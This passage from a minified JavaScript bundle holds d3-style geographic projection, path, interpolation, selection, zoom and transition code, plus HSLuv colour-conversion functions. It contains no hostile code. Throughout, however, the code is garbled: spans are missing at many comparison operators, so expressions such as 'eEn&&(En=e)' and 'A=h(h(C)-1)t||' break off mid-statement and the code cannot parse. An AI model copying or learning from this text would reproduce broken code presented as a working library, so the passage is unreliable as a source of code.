arguments.length?(r=+e[0][0],n=+e[1][0],s=+e[0][1],l=+e[1][1],r>n&&(e=r,r=n,n=e),s>l&&(e=s,s=l,l=e),w.precision(y)):[[r,s],[n,l]]},w.extentMinor=function(n){return arguments.length?(t=+n[0][0],e=+n[1][0],o=+n[0][1],a=+n[1][1],t>e&&(n=t,t=e,e=n),o>a&&(n=o,o=a,a=n),w.precision(y)):[[t,o],[e,a]]},w.step=function(e){return arguments.length?w.stepMajor(e).stepMinor(e):w.stepMinor()},w.stepMajor=function(e){return arguments.length?(v=+e[0],g=+e[1],w):[v,g]},w.stepMinor=function(e){return arguments.length?(p=+e[0],m=+e[1],w):[p,m]},w.precision=function(i){return arguments.length?(y=+i,u=tn(o,a,90),c=nn(t,e,y),d=tn(s,l,90),f=nn(r,n,y),w):y},w.extentMajor([[-180,-89.999999],[180,89.999999]]).extentMinor([[-180,-80.000001],[180,80.000001]])}function an(){return rn()()}function on(e,t){var n=e[0]*p,r=e[1]*p,a=t[0]*p,o=t[1]*p,i=g(r),l=S(r),s=g(o),u=S(o),c=i*g(n),d=i*S(n),h=s*g(a),m=s*S(a),b=2*N(_(T(o-r)+i*s*T(a-n))),y=S(b),w=b?function(e){var t=S(e*=b)/y,n=S(b-e)/y,r=n*c+t*h,a=n*d+t*m,o=n*l+t*u;return[v(a,r)*f,v(o,_(r*r+a*a))*f]}:function(){return[n*f,r*f]};return w.distance=b,w}var ln,sn,un,cn,dn=function(e){return e},fn=new o,pn=new o,hn={point:A,lineStart:A,lineEnd:A,polygonStart:function(){hn.lineStart=mn,hn.lineEnd=bn},polygonEnd:function(){hn.lineStart=hn.lineEnd=hn.point=A,fn.add(h(pn)),pn=new o},result:function(){var e=fn/2;return fn=new o,e}};function mn(){hn.point=vn}function vn(e,t){hn.point=gn,ln=un=e,sn=cn=t}function gn(e,t){pn.add(cn*e-un*t),un=e,cn=t}function bn(){gn(ln,sn)}var yn=hn,wn=1/0,xn=wn,En=-wn,Sn=En,kn={point:function(e,t){eEn&&(En=e);tSn&&(Sn=t)},lineStart:A,lineEnd:A,polygonStart:A,polygonEnd:A,result:function(){var e=[[wn,xn],[En,Sn]];return En=Sn=-(xn=wn=1/0),e}};var _n,Cn,Pn,Nn,Tn=kn,An=0,Mn=0,Ln=0,On=0,Fn=0,In=0,jn=0,Rn=0,Bn=0,Dn={point:Hn,lineStart:zn,lineEnd:Vn,polygonStart:function(){Dn.lineStart=qn,Dn.lineEnd=Zn},polygonEnd:function(){Dn.point=Hn,Dn.lineStart=zn,Dn.lineEnd=Vn},result:function(){var e=Bn?[jn/Bn,Rn/Bn]:In?[On/In,Fn/In]:Ln?[An/Ln,Mn/Ln]:[NaN,NaN];return An=Mn=Ln=On=Fn=In=jn=Rn=Bn=0,e}};function Hn(e,t){An+=e,Mn+=t,++Ln}function zn(){Dn.point=Un}function Un(e,t){Dn.point=Wn,Hn(Pn=e,Nn=t)}function Wn(e,t){var n=e-Pn,r=t-Nn,a=_(n*n+r*r);On+=a*(Pn+e)/2,Fn+=a*(Nn+t)/2,In+=a,Hn(Pn=e,Nn=t)}function Vn(){Dn.point=Hn}function qn(){Dn.point=Kn}function Zn(){Gn(_n,Cn)}function Kn(e,t){Dn.point=Gn,Hn(_n=Pn=e,Cn=Nn=t)}function Gn(e,t){var n=e-Pn,r=t-Nn,a=_(n*n+r*r);On+=a*(Pn+e)/2,Fn+=a*(Nn+t)/2,In+=a,jn+=(a=Nn*e-Pn*t)*(Pn+e),Rn+=a*(Nn+t),Bn+=3*a,Hn(Pn=e,Nn=t)}var $n=Dn;function Yn(e){this._context=e}Yn.prototype={_radius:4.5,pointRadius:function(e){return this._radius=e,this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){0===this._line&&this._context.closePath(),this._point=NaN},point:function(e,t){switch(this._point){case 0:this._context.moveTo(e,t),this._point=1;break;case 1:this._context.lineTo(e,t);break;default:this._context.moveTo(e+this._radius,t),this._context.arc(e,t,this._radius,0,d)}},result:A};var Qn,Xn,Jn,er,tr,nr=new o,rr={point:A,lineStart:function(){rr.point=ar},lineEnd:function(){Qn&&or(Xn,Jn),rr.point=A},polygonStart:function(){Qn=!0},polygonEnd:function(){Qn=null},result:function(){var e=+nr;return nr=new o,e}};function ar(e,t){rr.point=or,Xn=er=e,Jn=tr=t}function or(e,t){er-=e,tr-=t,nr.add(_(er*er+tr*tr)),er=e,tr=t}var ir=rr;function lr(){this._string=[]}function sr(e){return"m0,"+e+"a"+e+","+e+" 0 1,1 0,"+-2*e+"a"+e+","+e+" 0 1,1 0,"+2*e+"z"}function ur(e,t){var n,r,a=4.5;function o(e){return e&&("function"===typeof a&&r.pointRadius(+a.apply(this,arguments)),j(e,n(r))),r.result()}return o.area=function(e){return j(e,n(yn)),yn.result()},o.measure=function(e){return j(e,n(ir)),ir.result()},o.bounds=function(e){return j(e,n(Tn)),Tn.result()},o.centroid=function(e){return j(e,n($n)),$n.result()},o.projection=function(t){return arguments.length?(n=null==t?(e=null,dn):(e=t).stream,o):e},o.context=function(e){return arguments.length?(r=null==e?(t=null,new lr):new Yn(t=e),"function"!==typeof a&&r.pointRadius(a),o):t},o.pointRadius=function(e){return arguments.length?(a="function"===typeof e?e:(r.pointRadius(+e),+e),o):a},o.projection(e).context(t)}function cr(e){return{stream:dr(e)}}function dr(e){return function(t){var n=new fr;for(var r in e)n[r]=e[r];return n.stream=t,n}}function fr(){}function pr(e,t,n){var r=e.clipExtent&&e.clipExtent();return e.scale(150).translate([0,0]),null!=r&&e.clipExtent(null),j(n,e.stream(Tn)),t(Tn.result()),null!=r&&e.clipExtent(r),e}function hr(e,t,n){return pr(e,(function(n){var r=t[1][0]-t[0][0],a=t[1][1]-t[0][1],o=Math.min(r/(n[1][0]-n[0][0]),a/(n[1][1]-n[0][1])),i=+t[0][0]+(r-o*(n[1][0]+n[0][0]))/2,l=+t[0][1]+(a-o*(n[1][1]+n[0][1]))/2;e.scale(150*o).translate([i,l])}),n)}function mr(e,t,n){return hr(e,[[0,0],t],n)}function vr(e,t,n){return pr(e,(function(n){var r=+t,a=r/(n[1][0]-n[0][0]),o=(r-a*(n[1][0]+n[0][0]))/2,i=-a*n[0][1];e.scale(150*a).translate([o,i])}),n)}function gr(e,t,n){return pr(e,(function(n){var r=+t,a=r/(n[1][1]-n[0][1]),o=-a*n[0][0],i=(r-a*(n[1][1]+n[0][1]))/2;e.scale(150*a).translate([o,i])}),n)}lr.prototype={_radius:4.5,_circle:sr(4.5),pointRadius:function(e){return(e=+e)!==this._radius&&(this._radius=e,this._circle=null),this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){0===this._line&&this._string.push("Z"),this._point=NaN},point:function(e,t){switch(this._point){case 0:this._string.push("M",e,",",t),this._point=1;break;case 1:this._string.push("L",e,",",t);break;default:null==this._circle&&(this._circle=sr(this._radius)),this._string.push("M",e,",",t,this._circle)}},result:function(){if(this._string.length){var e=this._string.join("");return this._string=[],e}return null}},fr.prototype={constructor:fr,point:function(e,t){this.stream.point(e,t)},sphere:function(){this.stream.sphere()},lineStart:function(){this.stream.lineStart()},lineEnd:function(){this.stream.lineEnd()},polygonStart:function(){this.stream.polygonStart()},polygonEnd:function(){this.stream.polygonEnd()}};var br=g(30*p);function yr(e,t){return+t?function(e,t){function n(r,a,o,l,s,u,c,d,f,p,m,g,b,y){var w=c-r,x=d-a,E=w*w+x*x;if(E>4*t&&b--){var S=l+p,k=s+m,C=u+g,P=_(S*S+k*k+C*C),T=N(C/=P),A=h(h(C)-1)t||h((w*F+x*I)/E-.5)>.3||l*p+s*m+u*g2?e[2]%360*p:0,L()):[b*f,y*f,w*f]},A.angle=function(e){return arguments.length?(x=e%360*p,L()):x*f},A.reflectX=function(e){return arguments.length?(E=e?-1:1,L()):E<0},A.reflectY=function(e){return arguments.length?(S=e?-1:1,L()):S<0},A.precision=function(e){return arguments.length?(i=yr(l,T=e*e),O()):_(T)},A.fitExtent=function(e,t){return hr(A,e,t)},A.fitSize=function(e,t){return mr(A,e,t)},A.fitWidth=function(e,t){return vr(A,e,t)},A.fitHeight=function(e,t){return gr(A,e,t)},function(){return t=e.apply(this,arguments),A.invert=t.invert&&M,L()}}function kr(e){var t=0,n=s/3,r=Sr(e),a=r(t,n);return a.parallels=function(e){return arguments.length?r(t=e[0]*p,n=e[1]*p):[t*f,n*f]},a}function _r(e,t){var n=S(e),r=(n+S(t))/2;if(h(r)=.12&&a<.234&&r>=-.425&&r<-.214?s:a>=.166&&a<.234&&r>=-.214&&r<-.115?u:l).invert(e)},d.stream=function(n){return e&&t===n?e:e=function(e){var t=e.length;return{point:function(n,r){for(var a=-1;++a0?t<-u+i&&(t=-u+i):t>u-i&&(t=u-i);var n=a/E(Br(t),r);return[n*S(r*e),a-n*g(r*e)]}return o.invert=function(e,t){var n=a-t,o=k(r)*_(e*e+n*n),i=v(e,h(n))*k(n);return n*r<0&&(i-=s*k(e)*k(n)),[i/r,2*m(E(a/o,1/r))-u]},o}function Hr(){return kr(Dr).scale(109.5).parallels([30,30])}function zr(e,t){return[e,t]}function Ur(){return Er(zr).scale(152.63)}function Wr(e,t){var n=g(e),r=e===t?S(e):(n-g(t))/(t-e),a=n/r+e;if(h(r)2?e[2]+90:90]):[(e=n())[0],e[1],e[2]-90]},n([0,0,90]).scale(159.155)}Yr.invert=function(e,t){for(var n,r=t,a=r*r,o=a*a*a,i=0;i<12&&(o=(a=(r-=n=(r*(qr+Zr*a+o*(Kr+Gr*a))-t)/(qr+3*Zr*a+o*(7*Kr+9*Gr*a)))*r)*a*a,!(h(n)i&&--a>0);return[e/(.8707+(o=r*r)*(o*(o*o*o*(.003971-.001529*o)-.013791)-.131979)),r]},ra.invert=Ar(N),oa.invert=Ar((function(e){return 2*m(e)})),la.invert=function(e,t){return[-t,2*m(y(e))-u]}},1453:function(e,t){"use strict";t.Z=function(e){return function(){return e}}},8765:function(e,t,n){"use strict";function r(e,t){return e=+e,t=+t,function(n){return e*(1-n)+t*n}}n.d(t,{Z:function(){return r}})},4922:function(e,t,n){"use strict";n.d(t,{ZP:function(){return u}});var r=n(2168);function a(e,t,n,r,a){var o=e*e,i=o*e;return((1-3*e+3*o-i)*t+(4-6*o+3*i)*n+(1+3*e+3*o-3*i)*r+i*a)/6}var o=n(1453);function i(e,t){return function(n){return e+n*t}}function l(e){return 1===(e=+e)?s:function(t,n){return n-t?function(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}(t,n,e):(0,o.Z)(isNaN(t)?n:t)}}function s(e,t){var n=t-e;return n?i(e,n):(0,o.Z)(isNaN(e)?t:e)}var u=function e(t){var n=l(t);function a(e,t){var a=n((e=(0,r.B8)(e)).r,(t=(0,r.B8)(t)).r),o=n(e.g,t.g),i=n(e.b,t.b),l=s(e.opacity,t.opacity);return function(t){return e.r=a(t),e.g=o(t),e.b=i(t),e.opacity=l(t),e+""}}return a.gamma=e,a}(1);function c(e){return function(t){var n,a,o=t.length,i=new Array(o),l=new Array(o),s=new Array(o);for(n=0;n=1?(n=1,t-1):Math.floor(n*t),o=e[r],i=e[r+1],l=r>0?e[r-1]:2*o-i,s=rs&&(l=t.slice(s,l),c[u]?c[u]+=l:c[++u]=l),(n=n[0])===(i=i[0])?c[u]?c[u]+=i:c[++u]=i:(c[++u]=null,d.push({i:u,x:(0,r.Z)(n,i)})),s=o.lastIndex;return s=0&&"xmlns"!==(t=e.slice(0,n))&&(e=e.slice(n+1)),r.Z.hasOwnProperty(t)?{space:r.Z[t],local:e}:e}},6094:function(e,t,n){"use strict";n.d(t,{P:function(){return r}});var r="http://www.w3.org/1999/xhtml";t.Z={svg:"http://www.w3.org/2000/svg",xhtml:r,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"}},9439:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(252);function a(e,t){if(e=(0,r.Z)(e),void 0===t&&(t=e.currentTarget),t){var n=t.ownerSVGElement||t;if(n.createSVGPoint){var a=n.createSVGPoint();return a.x=e.clientX,a.y=e.clientY,[(a=a.matrixTransform(t.getScreenCTM().inverse())).x,a.y]}if(t.getBoundingClientRect){var o=t.getBoundingClientRect();return[e.clientX-o.left-t.clientLeft,e.clientY-o.top-t.clientTop]}}return[e.pageX,e.pageY]}},9261:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(9426);function a(e){return"string"===typeof e?new r.Y1([[document.querySelector(e)]],[document.documentElement]):new r.Y1([[e]],r.Jz)}},9426:function(e,t,n){"use strict";n.d(t,{Y1:function(){return ce},ZP:function(){return fe},Jz:function(){return ue}});var r=n(4942),a=n(2538);var o=n(9491),i=n(4265);var l=n(1761),s=Array.prototype.find;function u(){return this.firstElementChild}var c=Array.prototype.filter;function d(){return this.children}function f(e){return new Array(e.length)}function p(e,t){this.ownerDocument=e.ownerDocument,this.namespaceURI=e.namespaceURI,this._next=null,this._parent=e,this.__data__=t}function h(e){return function(){return e}}function m(e,t,n,r,a,o){for(var i,l=0,s=t.length,u=o.length;lt?1:e>=t?0:NaN}p.prototype={constructor:p,appendChild:function(e){return this._parent.insertBefore(e,this._next)},insertBefore:function(e,t){return this._parent.insertBefore(e,t)},querySelector:function(e){return this._parent.querySelector(e)},querySelectorAll:function(e){return this._parent.querySelectorAll(e)}};var y=n(7762);var w=n(6229);function x(e){return function(){this.removeAttribute(e)}}function E(e){return function(){this.removeAttributeNS(e.space,e.local)}}function S(e,t){return function(){this.setAttribute(e,t)}}function k(e,t){return function(){this.setAttributeNS(e.space,e.local,t)}}function _(e,t){return function(){var n=t.apply(this,arguments);null==n?this.removeAttribute(e):this.setAttribute(e,n)}}function C(e,t){return function(){var n=t.apply(this,arguments);null==n?this.removeAttributeNS(e.space,e.local):this.setAttributeNS(e.space,e.local,n)}}var P=n(946);function N(e){return function(){delete this[e]}}function T(e,t){return function(){this[e]=t}}function A(e,t){return function(){var n=t.apply(this,arguments);null==n?delete this[e]:this[e]=n}}function M(e){return e.trim().split(/^|\s+/)}function L(e){return e.classList||new O(e)}function O(e){this._node=e,this._names=M(e.getAttribute("class")||"")}function F(e,t){for(var n=L(e),r=-1,a=t.length;++r=0&&(this._names.splice(t,1),this._node.setAttribute("class",this._names.join(" ")))},contains:function(e){return this._names.indexOf(e)>=0}};var K=n(8413);function G(){return null}function $(){var e=this.parentNode;e&&e.removeChild(this)}function Y(){var e=this.cloneNode(!1),t=this.parentNode;return t?t.insertBefore(e,this.nextSibling):e}function Q(){var e=this.cloneNode(!0),t=this.parentNode;return t?t.insertBefore(e,this.nextSibling):e}function X(e){return e.trim().split(/^|\s+/).map((function(e){var t="",n=e.indexOf(".");return n>=0&&(t=e.slice(n+1),e=e.slice(0,n)),{type:e,name:t}}))}function J(e){return function(){var t=this.__on;if(t){for(var n,r=0,a=-1,o=t.length;r=C&&(C=_+1);!(k=x[C])&&++C=0;)(r=a[o])&&(i&&4^r.compareDocumentPosition(i)&&i.parentNode.insertBefore(r,i),i=r);return this},sort:function(e){function t(t,n){return t&&n?e(t.__data__,n.__data__):!t-!n}e||(e=b);for(var n=this._groups,r=n.length,a=new Array(r),o=0;o1?this.each((null==t?N:"function"===typeof t?A:T)(e,t)):this.node()[e]},classed:function(e,t){var n=M(e+"");if(arguments.length<2){for(var r=L(this.node()),a=-1,o=n.length;++a1?this.each((null==t?a:"function"===typeof t?i:o)(e,t,null==n?"":n)):s(this.node(),e)}function s(e,t){return e.style.getPropertyValue(t)||(0,r.Z)(e).getComputedStyle(e,null).getPropertyValue(t)}},2538:function(e,t,n){"use strict";function r(){}function a(e){return null==e?r:function(){return this.querySelector(e)}}n.d(t,{Z:function(){return a}})},4265:function(e,t,n){"use strict";function r(){return[]}function a(e){return null==e?r:function(){return this.querySelectorAll(e)}}n.d(t,{Z:function(){return a}})},252:function(e,t,n){"use strict";function r(e){for(var t;t=e.sourceEvent;)e=t;return e}n.d(t,{Z:function(){return r}})},5795:function(e,t,n){"use strict";function r(e){return e.ownerDocument&&e.ownerDocument.defaultView||e.document&&e||e.defaultView}n.d(t,{Z:function(){return r}})},9242:function(e,t,n){"use strict";n.r(t),n.d(t,{zoom:function(){return Qe},zoomIdentity:function(){return ze},zoomTransform:function(){return Ue}});var r={value:function(){}};function a(){for(var e,t=0,n=arguments.length,r={};t=0&&(n=e.slice(r+1),e=e.slice(0,r)),e&&!t.hasOwnProperty(e))throw new Error("unknown type: "+e);return{type:e,name:n}}))}function l(e,t){for(var n,r=0,a=e.length;r0)for(var n,r,a=new Array(n),o=0;o=0&&t._call.call(null,e),t=t._next;--w}()}finally{w=0,function(){var e,t,n=m,r=1/0;for(;n;)n._call?(r>n._time&&(r=n._time),e=n,n=n._next):(t=n._next,n._next=null,n=e?e._next=t:m=t);v=e,F(r)}(),k=0}}function O(){var e=C.now(),t=e-S;t>1e3&&(_-=t,S=e)}function F(e){w||(x&&(x=clearTimeout(x)),e-k>24?(e<1/0&&(x=setTimeout(L,e-C.now()-_)),E&&(E=clearInterval(E))):(E||(S=C.now(),E=setInterval(O,1e3)),w=1,P(L)))}function I(e,t,n){var r=new A;return t=null==t?0:+t,r.restart((function(n){r.stop(),e(n+t)}),t,n),r}A.prototype=M.prototype={constructor:A,restart:function(e,t,n){if("function"!==typeof e)throw new TypeError("callback is not a function");n=(null==n?N():+n)+(null==t?0:+t),this._next||v===this||(v?v._next=this:m=this,v=this),this._call=e,this._time=n,F()},stop:function(){this._call&&(this._call=null,this._time=1/0,F())}};var j=u("start","end","cancel","interrupt"),R=[];function B(e,t,n,r,a,o){var i=e.__transition;if(i){if(n in i)return}else e.__transition={};!function(e,t,n){var r,a=e.__transition;function o(e){n.state=1,n.timer.restart(i,n.delay,n.time),n.delay<=e&&i(e-n.delay)}function i(o){var u,c,d,f;if(1!==n.state)return s();for(u in a)if((f=a[u]).name===n.name){if(3===f.state)return I(i);4===f.state?(f.state=6,f.timer.stop(),f.on.call("interrupt",e,e.__data__,f.index,f.group),delete a[u]):+u0)throw new Error("too late; already scheduled");return n}function H(e,t){var n=z(e,t);if(n.state>3)throw new Error("too late; already running");return n}function z(e,t){var n=e.__transition;if(!n||!(n=n[t]))throw new Error("transition not found");return n}function U(e,t){var n,r,a,o=e.__transition,i=!0;if(o){for(a in t=null==t?null:t+"",o)(n=o[a]).name===t?(r=n.state>2&&n.state<5,n.state=6,n.timer.stop(),n.on.call(r?"interrupt":"cancel",e,e.__data__,n.index,n.group),delete o[a]):i=!1;i&&delete e.__transition}}var W,V=n(4942),q=n(8765),Z=180/Math.PI,K={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1};function G(e,t,n,r,a,o){var i,l,s;return(i=Math.sqrt(e*e+t*t))&&(e/=i,t/=i),(s=e*n+t*r)&&(n-=e*s,r-=t*s),(l=Math.sqrt(n*n+r*r))&&(n/=l,r/=l,s/=l),e*r180?t+=360:t-e>180&&(e+=360),o.push({i:n.push(a(n)+"rotate(",null,r)-2,x:(0,q.Z)(e,t)})):t&&n.push(a(n)+"rotate("+t+r)}(o.rotate,i.rotate,l,s),function(e,t,n,o){e!==t?o.push({i:n.push(a(n)+"skewX(",null,r)-2,x:(0,q.Z)(e,t)}):t&&n.push(a(n)+"skewX("+t+r)}(o.skewX,i.skewX,l,s),function(e,t,n,r,o,i){if(e!==n||t!==r){var l=o.push(a(o)+"scale(",null,",",null,")");i.push({i:l-4,x:(0,q.Z)(e,n)},{i:l-2,x:(0,q.Z)(t,r)})}else 1===n&&1===r||o.push(a(o)+"scale("+n+","+r+")")}(o.scaleX,o.scaleY,i.scaleX,i.scaleY,l,s),o=i=null,function(e){for(var t,n=-1,r=s.length;++n=0&&(e=e.slice(0,t)),!e||"start"===e}))}(t)?D:H;return function(){var i=o(this,e),l=i.on;l!==r&&(a=(r=l).copy()).on(t,n),i.on=a}}var Se=n(2538);var ke=n(4265);var _e=y.ZP.prototype.constructor;var Ce=n(946);function Pe(e){return function(){this.style.removeProperty(e)}}function Ne(e,t,n){return function(r){this.style.setProperty(e,t.call(this,r),n)}}function Te(e,t,n){var r,a;function o(){var o=t.apply(this,arguments);return o!==a&&(r=(a=o)&&Ne(e,o,n)),r}return o._value=t,o}function Ae(e){return function(t){this.textContent=e.call(this,t)}}function Me(e){var t,n;function r(){var r=e.apply(this,arguments);return r!==n&&(t=(n=r)&&Ae(r)),t}return r._value=e,r}var Le=0;function Oe(e,t,n,r){this._groups=e,this._parents=t,this._name=n,this._id=r}function Fe(){return++Le}var Ie=y.ZP.prototype;Oe.prototype=function(e){return(0,y.ZP)().transition(e)}.prototype=(0,V.Z)({constructor:Oe,select:function(e){var t=this._name,n=this._id;"function"!==typeof e&&(e=(0,Se.Z)(e));for(var r=this._groups,a=r.length,o=new Array(a),i=0;ir?(r+a)/2:Math.min(0,r)||Math.max(0,a),i>o?(o+i)/2:Math.min(0,o)||Math.max(0,i))}function Qe(){var e,t,n,r=qe,a=Ze,o=Ye,i=Ge,l=$e,s=[0,1/0],d=[[-1/0,-1/0],[1/0,1/0]],h=250,m=g,v=u("start","zoom","end"),y=500,w=0,x=10;function E(e){e.property("__zoom",Ke).on("wheel.zoom",T).on("mousedown.zoom",A).on("dblclick.zoom",M).filter(l).on("touchstart.zoom",L).on("touchmove.zoom",O).on("touchend.zoom touchcancel.zoom",F).style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function S(e,t){return(t=Math.max(s[0],Math.min(s[1],t)))===e.k?e:new He(t,e.x,e.y)}function k(e,t,n){var r=t[0]-n[0]*e.k,a=t[1]-n[1]*e.k;return r===e.x&&a===e.y?e:new He(e.k,r,a)}function _(e){return[(+e[0][0]+ +e[1][0])/2,(+e[0][1]+ +e[1][1])/2]}function C(e,t,n,r){e.on("start.zoom",(function(){P(this,arguments).event(r).start()})).on("interrupt.zoom end.zoom",(function(){P(this,arguments).event(r).end()})).tween("zoom",(function(){var e=this,o=arguments,i=P(e,o).event(r),l=a.apply(e,o),s=null==n?_(l):"function"===typeof n?n.apply(e,o):n,u=Math.max(l[1][0]-l[0][0],l[1][1]-l[0][1]),c=e.__zoom,d="function"===typeof t?t.apply(e,o):t,f=m(c.invert(s).concat(u/c.k),d.invert(s).concat(u/d.k));return function(e){if(1===e)e=d;else{var t=f(e),n=u/t[2];e=new He(n,s[0]-t[0]*n,s[1]-t[1]*n)}i.zoom(null,e)}}))}function P(e,t,n){return!n&&e.__zooming||new N(e,t)}function N(e,t){this.that=e,this.args=t,this.active=0,this.sourceEvent=null,this.extent=a.apply(e,t),this.taps=0}function T(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),a=1;a1?t-1:0),i=1;iw}l.event(e).zoom("mouse",o(k(l.that.__zoom,l.mouse[0]=(0,b.Z)(e,h),l.mouse[1]),l.extent,d))}function y(e){s.on("mousemove.zoom mouseup.zoom",null),p(e.view,l.moved),Ve(e),l.event(e).end()}}function M(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),i=1;i0?(0,c.Z)(this).transition().duration(h).call(C,p,s,e):(0,c.Z)(this).call(E.transform,p,s,e)}}function L(n){for(var a=arguments.length,o=new Array(a>1?a-1:0),i=1;i1?t-1:0),r=1;r1?r-1:0),o=1;ot.Hsluv.epsilon?r:e/t.Hsluv.kappa,o=0;o<3;)for(var i=o++,l=t.Hsluv.m[i][0],s=t.Hsluv.m[i][1],u=t.Hsluv.m[i][2],c=0;c<2;){var d=c++,f=(284517*l-94839*u)*a,p=(838422*u+769860*s+731718*l)*e*a-769860*d*e,h=(632260*u-126452*s)*a+126452*d;n.push({slope:f/h,intercept:p/h})}return n},t.Hsluv.maxSafeChromaForL=function(e){for(var n=t.Hsluv.getBounds(e),r=1/0,a=0;a=0&&(o=Math.min(o,s))}return o},t.Hsluv.dotProduct=function(e,t){for(var n=0,r=0,a=e.length;r.04045?Math.pow((e+.055)/1.055,2.4):e/12.92},t.Hsluv.xyzToRgb=function(e){return[t.Hsluv.fromLinear(t.Hsluv.dotProduct(t.Hsluv.m[0],e)),t.Hsluv.fromLinear(t.Hsluv.dotProduct(t.Hsluv.m[1],e)),t.Hsluv.fromLinear(t.Hsluv.dotProduct(t.Hsluv.m[2],e))]},t.Hsluv.rgbToXyz=function(e){var n=[t.Hsluv.toLinear(e[0]),t.Hsluv.toLinear(e[1]),t.Hsluv.toLinear(e[2])];return[t.Hsluv.dotProduct(t.Hsluv.minv[0],n),t.Hsluv.dotProduct(t.Hsluv.minv[1],n),t.Hsluv.dotProduct(t.Hsluv.minv[2],n)]},t.Hsluv.yToL=function(e){return e<=t.Hsluv.epsilon?e/t.Hsluv.refY*t.Hsluv.kappa:116*Math.pow(e/t.Hsluv.refY,.3333333333333333)-16},t.Hsluv.lToY=function(e){return e<=8?t.Hsluv.refY*e/t.Hsluv.kappa:t.Hsluv.refY*Math.pow((e+16)/116,3)},t.Hsluv.xyzToLuv=function(e){var n=e[0],r=e[1],a=n+15*r+3*e[2],o=4*n,i=9*r;0!=a?(o/=a,i/=a):(o=NaN,i=NaN);var l=t.Hsluv.yToL(r);return 0==l?[0,0,0]:[l,13*l*(o-t.Hsluv.refU),13*l*(i-t.Hsluv.refV)]},t.Hsluv.luvToXyz=function(e){var n=e[0],r=e[1],a=e[2];if(0==n)return[0,0,0];var o=r/(13*n)+t.Hsluv.refU,i=a/(13*n)+t.Hsluv.refV,l=t.Hsluv.lToY(n),s=0-9*l*o/((o-4)*i-o*i);return[s,l,(9*l-15*i*l-i*s)/(3*i)]},t.Hsluv.luvToLch=function(e){var t,n=e[0],r=e[1],a=e[2],o=Math.sqrt(r*r+a*a);o<1e-8?t=0:(t=180*Math.atan2(a,r)/Math.PI)<0&&(t=360+t);return[n,o,t]},t.Hsluv.lchToLuv=function(e){var t=e[0],n=e[1],r=e[2]/360*2*Math.PI;return[t,Math.cos(r)*n,Math.sin(r)*n]},t.Hsluv.hsluvToLch=function(e){var n=e[0],r=e[1],a=e[2];return a>99.9999999?[100,0,n]:a<1e-8?[0,0,n]:[a,t.Hsluv.maxChromaForLH(a,n)/100*r,n]},t.Hsluv.lchToHsluv=function(e){var n=e[0],r=e[1],a=e[2];return n>99.9999999?[a,0,100]:n<1e-8?[a,0,0]:[a,r/t.Hsluv.maxChromaForLH(n,a)*100,n]},t.Hsluv.hpluvToLch=function(e){var n=e[0],r=e[1],a=e[2];return a>99.9999999?[100,0,n]:a<1e-8?[0,0,n]:[a,t.Hsluv.maxSafeChromaForL(a)/100*r,n]},t.Hsluv.lchToHpluv=function(e){var n=e[0],r=e[1],a=e[2];return n>99.9999999?[a,0,100]:n<1e-8?[a,0,0]:[a,r/t.Hsluv.maxSafeChromaForL(n)*100,n]},t.Hsluv.rgbToHex=function(e){for(var n="#",r=0;r<3;){var a=e[r++],o=Math.round(255*a),i=o%16,l=(o-i)/16|0;n+=t.Hsluv.hexChars.charAt(l)+t.Hsluv.hexChars.charAt(i)}return n},t.Hsluv.hexToRgb=function(e){e=e.toLowerCase();for(var n=[],r=0;r<3;){var a=r++,o=16*t.Hsluv.hexChars.indexOf(e.charAt(2*a+1))+t.Hsluv.hexChars.indexOf(e.charAt(2*a+2));n.push(o/255)}return n},t.Hsluv.lchToRgb=function(e){return t.Hsluv.xyzToRgb(t.Hsluv.luvToXyz(t.Hsluv.lchToLuv(e)))},t.Hsluv.rgbToLch=function(e){return t.Hsluv.luvToLch(t.Hsluv.xyzToLuv(t.Hsluv.rgbToXyz(e)))},t.Hsluv.hsluvToRgb=function(e){return t.Hsluv.lchToRgb(t.Hsluv.hsluvToLch(e))},t.Hsluv.rgbToHsluv=function(e){return t.Hsluv.lchToHsluv(t.Hsluv.rgbToLch(e))},t.Hsluv.hpluvToRgb=function(e){return t.Hsluv.lchToRgb(t.Hsluv.hpluvToLch(e))},t.Hsluv.rgbToHpluv=function(e){return t.Hsluv.lchToHpluv(t.Hsluv.rgbToLch(e))},t.Hsluv.hsluvToHex=function(e){return t.Hsluv.rgbToHex(t.Hsluv.hsluvToRgb(e))},t.Hsluv.hpluvToHex=function(e){return t.Hsluv.rgbToHex(t.Hsluv.hpluvToRgb(e))},t.Hsluv.hexToHsluv=function(e){return t.Hsluv.rgbToHsluv(t.Hsluv.hexToRgb(e))},t.Hsluv.hexToHpluv=function(e){return t.Hsluv.rgbToHpluv(t.Hsluv.hexToRgb(e))},t.Hsluv.m=[[3.240969941904521,-1.537383177570093,-.498610760293],[-.96924363628087,1.87596750150772,.041555057407175],[.055630079696993,-.20397695888897,1.056971514242878]],t.Hsluv.minv=[[.41239079926595,.35758433938387,.18048078840183],[.21263900587151,.71516867876775,.072192315360733],[.019330818715591,.11919477979462,.95053215224966]],t.Hsluv.refY=1,t.Hsluv.refU=.19783000664283,t.Hsluv.refV=.46831999493879,t.Hsluv.kappa=903.2962962,t.Hsluv.epsilon=.0088564516,t.Hsluv.hexChars="0123456789abcdef";var 